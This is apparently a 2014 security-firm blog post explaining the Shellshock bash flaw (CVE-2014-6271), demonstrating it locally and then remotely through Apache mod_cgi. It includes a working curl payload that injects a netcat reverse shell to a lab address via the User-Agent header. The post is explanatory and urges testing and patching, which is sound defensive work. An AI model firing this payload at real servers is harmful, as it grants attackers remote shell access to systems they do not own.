"Shellshock" Vulnerability in Bash Allows Unauthorized, Remote Code Execution

By gTIC, Dan Kottmann ·

UPDATE: Although patched packages that intended to resolve this issue have been released, additional testing and research suggests that the patched versions may in fact still be vulnerable. CVE-2014-7169 has been opened to track this incomplete fix.

On September 24, a critical vulnerability - CVE-2014-6271 - was made public. This vulnerability, dubbed “Shellshock,” exposes a weakness in which certain Linux interactive interfaces (“shells”) incorrectly parse and handle values when setting environment variables. Reportedly affecting a wide range of *nix distributions and versions, this vulnerability - although different in nature - is being compared to this year’s Heartbleed vulnerability in terms of potential impact. An attacker can leverage “Shellshock” to execute unauthorized code and compromise a remote system.

While the impact and all attack vectors are still under analysis, this vulnerability can be remotely exploited under certain web server, SSH and DHCP configurations. Certain programs and implementations allow remote users to set the value of particular environment variables. For example, certain ForceCommand configurations of OpenSSH, some DHCP client scripts, and, of most relevant interest, web servers that have mod_cgi enabled or that utilize certain PHP functions to issue operating system calls. I’ll start off this discussion by taking a simple look at the issue as a local user and move onto remote exploitation.

What is the flaw?

The problem is that certain shells incorrectly parse and handle values when setting environment variables. Specifically, the ‘env’ command in *nix is utilized to run a program within an environment specified on the command line. So, for example, let’s simply run the ‘printenv’ command to test usage of the ‘env’ command. I’ll use an arbitrary variable name of “TESTVAR” for demonstrative purposes.

#printenv | grep VAR
<empty response>

The above command fails to find the TESTVAR environment variable in my environment. This is expected as I don’t have it set on my system. Now, let’s test with ‘env’:

#env TESTVAR='THIS IS A TEST' bash -c 'printenv | grep VAR'
TESTVAR=THIS IS A TEST

Using the ‘env’ command I set a temporary variable that was used for execution of the ‘printenv’ command.

So, that’s normal usage. Also of note, the value that we assign to our variable (in this case ‘TESTVAR’) can be a string literal (as denoted in the example) but can also be more complex. For example, function calls and other shell programming statements can be utilized to dynamically determine the final result of the value. Herein lies the problem. Should a function call begin the definition of the variable value any additional data following the function will be interpreted as commands, rather than string data. It’s best to look at an example.

#env TESTVAR='() { :;}; echo vulnerable' bash -c "echo expected"
vulnerable
expected

In the above example, take a look at the data provided to the value of TESTVAR. This includes everything between the single quotation marks. First off, the portion “() { :;};” is simply an empty function definition. It does nothing and is there simply because the flaw disclosed doesn’t parse data correctly when a function call is present. The interesting portion, in red, demonstrates a simple shell command that, when run individually, simply prints the string “vulnerable” to the console. In this context, the statement is appended after the function call and is unexpectedly executed (only the command denoted by “bash[…]” should be executed). So, we can inject an arbitrary command into the value of the environment variable we are trying to set, and it’ll be executed by the shell. The above proof-of-concept can be used to test, from an authenticated perspective, if your system is vulnerable. A vulnerable system will display the “vulnerable” string as a result of the command whereas other systems should throw an error.

This is great, but only demonstrates exploitation locally implying the user was already authenticated. No need to run a command through the technique above when a user can most likely due it through the SSH session they are using to connect to the box. So let’s move on to remote exploitation.

Remote Exploitation

I’ll limit the discussion to the broadest attack vector: mod_cgi. CGI (“Common Gateway Interface”) is a manner through which websites can generate dynamic content. CGI scripts are executed on the server and can be written in a number of different languages – bash included. ‘mod_cgi’ is an Apache module that interprets and executes these CGI scripts. The scripts can be executed simply by pointing a web browser at them.

I mocked up a basic script that, when requested, simply displays the contents of the running environment (using the ‘printenv’ command as before). I deployed this on an Ubuntu server running Apache 2.2 with mod_cgi installed. Notice the script contains regular bash commands (e.g. echo and printenv) to build valid HTML content.

The following screenshot demonstrates the result from browsing to the page. Of note, you’ll see that a number of environment variables exist that are controlled by the client and sent via standard HTTP headers (e.g. HTTP_USER_AGENT, HTTP_ACCEPT_LANGUAGE, etc.). This mapping of HTTP headers to environment variables is defined as part of the CGI specification.

Knowing that user-controlled content is being set to environment variables, it’s trivial to remotely execute arbitrary commands using the technique I described above. In this case, I’ll use the curl utility to alter the User Agent header such that the server executes a command of my choosing.

First, I start a netcat listener on my attacking OSX machine and then simply send the payload to the target.

Exploit:

#curl -i -X GET -H "User-Agent: () { :;}; /bin/nc -e /bin/sh 172.16.248.1 8888" http://172.16.248.136/cgi-bin/test.sh

CGI scripts written in Bash aren’t as prevalent as those written in other languages such as Perl. An initial Google search revealed roughly 1.2 million CGI scripts with a “.sh” extension. While certainly not all are vulnerable, a number of them certainly are. However, this vulnerability isn’t limited only to Bash scripts. Some Perl CGI scripts can be affected if they make certain calls to the OS. Furthermore, PHP scripts could potentially be affected if they too make certain calls to interact with the OS.

At present time, the most likely targets are web servers with mod_cgi enabled or who use PHP’s ‘system’ call to issue Bash commands. Some in the community believe this to be primarily focused on embedded devices due to the general nature in which those web applications are deployed. However, as demonstrated above common web servers running on enterprise systems may also be affected. A number of vendors have released patches to mitigate this issue. FishNet Security recommends that systems be tested and patched with urgency.

At present, multiple vendors have released IDS signatures to detect and/or protect systems from exploitation. This situation is still very fluid and may result in further patches to address additional flaws (http://seclists.org/oss-sec/2014/q3/682). FishNet Security is actively working with vendors to assess the state of our managed/supported products and to ensure any vulnerabilities and workarounds are identified.

Are you vulnerable? Well, you can locally test your *nix instances through the methods I described above. FishNet Security has mobilized an offering to assist clients in assessing their public facing exposure to this flaw as well.